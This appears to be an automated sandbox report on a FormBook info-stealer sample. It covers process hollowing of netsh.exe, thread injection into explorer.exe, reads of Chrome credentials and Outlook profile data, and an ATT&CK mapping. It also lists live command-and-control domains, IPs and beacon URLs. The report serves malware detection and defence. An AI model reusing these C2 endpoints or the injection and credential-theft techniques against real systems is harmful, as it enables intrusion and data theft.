Source:	Binary string: wntdll.pdbUGP source: febcldoukq.exe, 00000001.00000003.293154530.0000000003060000.00000004.00001000.00020000.00000000.sdmp, febcldoukq.exe, 00000001.00000003.297615562.0000000003630000.00000004.00001000.00020000.00000000.sdmp, febcldoukq.exe, 00000002.00000003.300663254.0000000000E5B000.00000004.00000800.00020000.00000000.sdmp, febcldoukq.exe, 00000002.00000002.400649105.000000000110F000.00000040.00000800.00020000.00000000.sdmp, febcldoukq.exe, 00000002.00000002.398907397.0000000000FF0000.00000040.00000800.00020000.00000000.sdmp, netsh.exe, 00000005.00000003.392692809.0000000000FD2000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 00000005.00000003.400318872.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 00000005.00000002.564732958.000000000356F000.00000040.00000800.00020000.00000000.sdmp, netsh.exe, 00000005.00000002.563098627.0000000003450000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: netsh.pdbGCTL source: febcldoukq.exe, 00000002.00000002.402996067.0000000002F70000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: febcldoukq.exe, 00000001.00000003.293154530.0000000003060000.00000004.00001000.00020000.00000000.sdmp, febcldoukq.exe, 00000001.00000003.297615562.0000000003630000.00000004.00001000.00020000.00000000.sdmp, febcldoukq.exe, 00000002.00000003.300663254.0000000000E5B000.00000004.00000800.00020000.00000000.sdmp, febcldoukq.exe, 00000002.00000002.400649105.000000000110F000.00000040.00000800.00020000.00000000.sdmp, febcldoukq.exe, 00000002.00000002.398907397.0000000000FF0000.00000040.00000800.00020000.00000000.sdmp, netsh.exe, 00000005.00000003.392692809.0000000000FD2000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 00000005.00000003.400318872.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 00000005.00000002.564732958.000000000356F000.00000040.00000800.00020000.00000000.sdmp, netsh.exe, 00000005.00000002.563098627.0000000003450000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 1_2_00B25A15 push ecx; ret	1_2_00B25A28
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_004210E9 push eax; ret	2_2_004210EF
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_004210F2 push eax; ret	2_2_00421159
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0042109C push eax; ret	2_2_004210EF
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00421153 push eax; ret	2_2_00421159
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0040EAA3 push ecx; retf	2_2_0040EAA6
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0041E5D0 push ecx; iretd	2_2_0041E5D2
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00419F38 push edx; ret	2_2_00419F39
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_0041FF93 push ebx; retf	2_2_0041FF94
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00B25A15 push ecx; ret	2_2_00B25A28

Source: febcldoukq.exe.0.dr	Static PE information: section name: .00cfg
Source: febcldoukq.exe.0.dr	Static PE information: section name: .voltbl

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe

File created: C:\Users\user\AppData\Local\Temp\febcldoukq.exe

Jump to dropped file

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\netsh.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	API coverage: 2.2 %
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	API coverage: 2.6 %

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe	Code function: 0_2_00405620 CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_00405620
Source: C:\Users\user\Desktop\qHpeBvr9cR.exe	Code function: 0_2_00405FF6 FindFirstFileA,FindClose,	0_2_00405FF6
Source: C:\Users\user\Desktop\qHpeBvr9cR.exe	Code function: 0_2_00402654 FindFirstFileA,	0_2_00402654
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 1_2_00B25293 FindFirstFileExW,	1_2_00B25293
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 1_2_00B25347 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00B25347
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00B25293 FindFirstFileExW,	2_2_00B25293
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00B25347 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00B25347

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe

API call chain: ExitProcess graph end node

graph_0-3335

Source: explorer.exe, 00000003.00000000.365808635.0000000008631000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000003.00000000.303735560.000000000091F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.366190197.00000000086E7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i
Source: explorer.exe, 00000003.00000000.366190197.00000000086E7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.338206694.00000000043B0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.366190197.00000000086E7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000003.00000000.365808635.0000000008631000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe

Code function: 1_2_00B237DA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_00B237DA

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe

Code function: 1_2_00B2258B GetProcessHeap,

1_2_00B2258B

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 1_2_00B2009E mov ecx, dword ptr fs:[00000030h]	1_2_00B2009E
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 1_2_00B2418D mov eax, dword ptr fs:[00000030h]	1_2_00B2418D
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00B2009E mov ecx, dword ptr fs:[00000030h]	2_2_00B2009E
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00B2418D mov eax, dword ptr fs:[00000030h]	2_2_00B2418D

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe

Code function: 2_2_0040C317 LdrLoadDll,

2_2_0040C317

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 1_2_00B1D720 SetUnhandledExceptionFilter,	1_2_00B1D720
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 1_2_00B1DC2D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00B1DC2D
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 1_2_00B237DA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00B237DA
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 1_2_00B1D72C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00B1D72C
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00B1DC2D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00B1DC2D
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00B237DA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00B237DA
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00B1D720 SetUnhandledExceptionFilter,	2_2_00B1D720
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Code function: 2_2_00B1D72C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00B1D72C

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: www.patrickguarte.com
Source: C:\Windows\explorer.exe	Network Connect: 155.159.61.221 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.eufidelizo.com
Source: C:\Windows\explorer.exe	Domain query: www.lyonfinancialusa.com
Source: C:\Windows\explorer.exe	Domain query: www.afterdarksocial.club
Source: C:\Windows\explorer.exe	Network Connect: 192.185.217.47 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 206.233.197.135 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 162.214.129.149 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.19t221013d.tokyo

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe

Section unmapped: C:\Windows\SysWOW64\netsh.exe base address: 1280000

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Section loaded: unknown target: C:\Users\user\AppData\Local\Temp\febcldoukq.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Section loaded: unknown target: C:\Windows\SysWOW64\netsh.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Section loaded: unknown target: C:\Windows\SysWOW64\netsh.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Thread register set: target process: 3324	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe	Thread register set: target process: 3324	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Thread register set: target process: 3324	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe

Process created: C:\Users\user\AppData\Local\Temp\febcldoukq.exe "C:\Users\user\AppData\Local\Temp\febcldoukq.exe" C:\Users\user\AppData\Local\Temp\uebzn.cef

Jump to behavior

Source: explorer.exe, 00000003.00000000.336598511.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.340255020.0000000005910000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.304065105.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000000.336598511.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.304065105.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.356385901.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: uProgram Manager*r
Source: explorer.exe, 00000003.00000000.336598511.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.304065105.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.356385901.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000003.00000000.336598511.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.304065105.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.356385901.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000003.00000000.303378350.0000000000878000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.356013433.0000000000878000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ProgmanLoc*U

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe

Code function: 1_2_00B1D945 cpuid

1_2_00B1D945

Source: C:\Users\user\AppData\Local\Temp\febcldoukq.exe

Code function: 1_2_00B1D5D2 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_00B1D5D2

Source: C:\Users\user\Desktop\qHpeBvr9cR.exe

0_2_0040324F

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\netsh.exe C:\Windows\SysWOW64\netsh.exe

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 2.2.febcldoukq.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.febcldoukq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\netsh.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\netsh.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 2.2.febcldoukq.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.febcldoukq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.555011698.00000000007D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.561579336.0000000001100000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.395778723.0000000000F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.393576373.0000000000B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.559931003.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.369567476.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.347863799.000000000E3B5000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Command and Scripting Interpreter	Path Interception	512 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Shared Modules	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Virtualization/Sandbox Evasion	11 Input Capture	131 Security Software Discovery	Remote Desktop Protocol	11 Input Capture	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	512 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Archive Collected Data	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	1 Data from Local System	Scheduled Transfer	114 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	2 Clipboard Data	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	15 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
qHpeBvr9cR.exe	41%	ReversingLabs	Win32.Trojan.Garf
qHpeBvr9cR.exe	37%	Virustotal		Browse
qHpeBvr9cR.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\febcldoukq.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\febcldoukq.exe	20%	ReversingLabs	Win32.Trojan.FormBook

Unpacked PE Files

Source	Detection	Scanner	Label	Download
2.0.febcldoukq.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.2.febcldoukq.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.0.qHpeBvr9cR.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223491	Download File
0.2.qHpeBvr9cR.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223491	Download File
1.2.febcldoukq.exe.17b0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Link
www.patrickguarte.com	1%	Virustotal	Browse
eufidelizo.com	9%	Virustotal	Browse
www.lyonfinancialusa.com	0%	Virustotal	Browse
www.eufidelizo.com	7%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://www.eufidelizo.com/henz/?ChMxG4C=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692MpWFmEiKCsF21Xzw==&8p08qr=2d0X	100%	Avira URL Cloud	malware
http://www.patrickguarte.com/henz/?ChMxG4C=5p9Ov6C7qce51hIp6D8A72je8vUJddN77lLEFw6Ufibk2yN56suG3zROnD+rS7baXFO6PfoGYvZY6sqA3kYBdz817Owqh44+wA==&8p08qr=2d0X	100%	Avira URL Cloud	malware
www.brennancorps.info/henz/	100%	Avira URL Cloud	malware
http://www.patrickguarte.com/henz/	100%	Avira URL Cloud	malware
http://www.lyonfinancialusa.com/henz/	100%	Avira URL Cloud	malware
http://www.afterdarksocial.club/henz/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.patrickguarte.com	155.159.61.221	true	true	1%, Virustotal, Browse	unknown
eufidelizo.com	192.185.217.47	true	true	9%, Virustotal, Browse	unknown
www.lyonfinancialusa.com	206.233.197.135	true	true	0%, Virustotal, Browse	unknown
www.afterdarksocial.club	162.214.129.149	true	true		unknown
www.eufidelizo.com	unknown	unknown	true	7%, Virustotal, Browse	unknown
www.19t221013d.tokyo	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.lyonfinancialusa.com/henz/	true	Avira URL Cloud: malware	unknown
http://www.eufidelizo.com/henz/?ChMxG4C=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692MpWFmEiKCsF21Xzw==&8p08qr=2d0X	true	Avira URL Cloud: malware	unknown
http://www.patrickguarte.com/henz/?ChMxG4C=5p9Ov6C7qce51hIp6D8A72je8vUJddN77lLEFw6Ufibk2yN56suG3zROnD+rS7baXFO6PfoGYvZY6sqA3kYBdz817Owqh44+wA==&8p08qr=2d0X	true	Avira URL Cloud: malware	unknown
http://www.patrickguarte.com/henz/	true	Avira URL Cloud: malware	unknown
http://www.afterdarksocial.club/henz/	true	Avira URL Cloud: malware	unknown
www.brennancorps.info/henz/	true	Avira URL Cloud: malware	low

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://ac.ecosia.org/autocomplete?q=	-ODfqI49.5.dr	false	high
https://search.yahoo.com?fr=crmas_sfp	-ODfqI49.5.dr	false	high
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000003.00000000.356156439.000000000091F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.336262975.000000000091F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.303735560.000000000091F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	-ODfqI49.5.dr	false	high
https://duckduckgo.com/ac/?q=	-ODfqI49.5.dr	false	high
http://nsis.sf.net/NSIS_Error	qHpeBvr9cR.exe	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	-ODfqI49.5.dr	false	high
https://search.yahoo.com?fr=crmas_sfpf	-ODfqI49.5.dr	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	-ODfqI49.5.dr	false	high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	-ODfqI49.5.dr	false	high
http://nsis.sf.net/NSIS_ErrorError	qHpeBvr9cR.exe	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	-ODfqI49.5.dr	false	high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	-ODfqI49.5.dr	false	high
http://code.jquery.com/jquery-3.3.1.min.js	netsh.exe, 00000005.00000002.565764534.0000000003B56000.00000004.10000000.00040000.00000000.sdmp	false	high
http://gmpg.org/xfn/11	netsh.exe, 00000005.00000002.565764534.0000000003B56000.00000004.10000000.00040000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.185.217.47	eufidelizo.com	United States	46606	UNIFIEDLAYER-AS-1US	true
206.233.197.135	www.lyonfinancialusa.com	United States	174	COGENT-174US	true
155.159.61.221	www.patrickguarte.com	South Africa	137951	CLAYERLIMITED-AS-APClayerLimitedHK	true
162.214.129.149	www.afterdarksocial.club	United States	46606	UNIFIEDLAYER-AS-1US	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	756313
Start date and time:	2022-11-30 01:08:08 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	qHpeBvr9cR.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/5@7/4
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 76.9% (good quality ratio 67.7%) Quality average: 68.7% Quality standard deviation: 34.9%
HCA Information:	Successful, ratio: 100% Number of executed functions: 53 Number of non-executed functions: 111
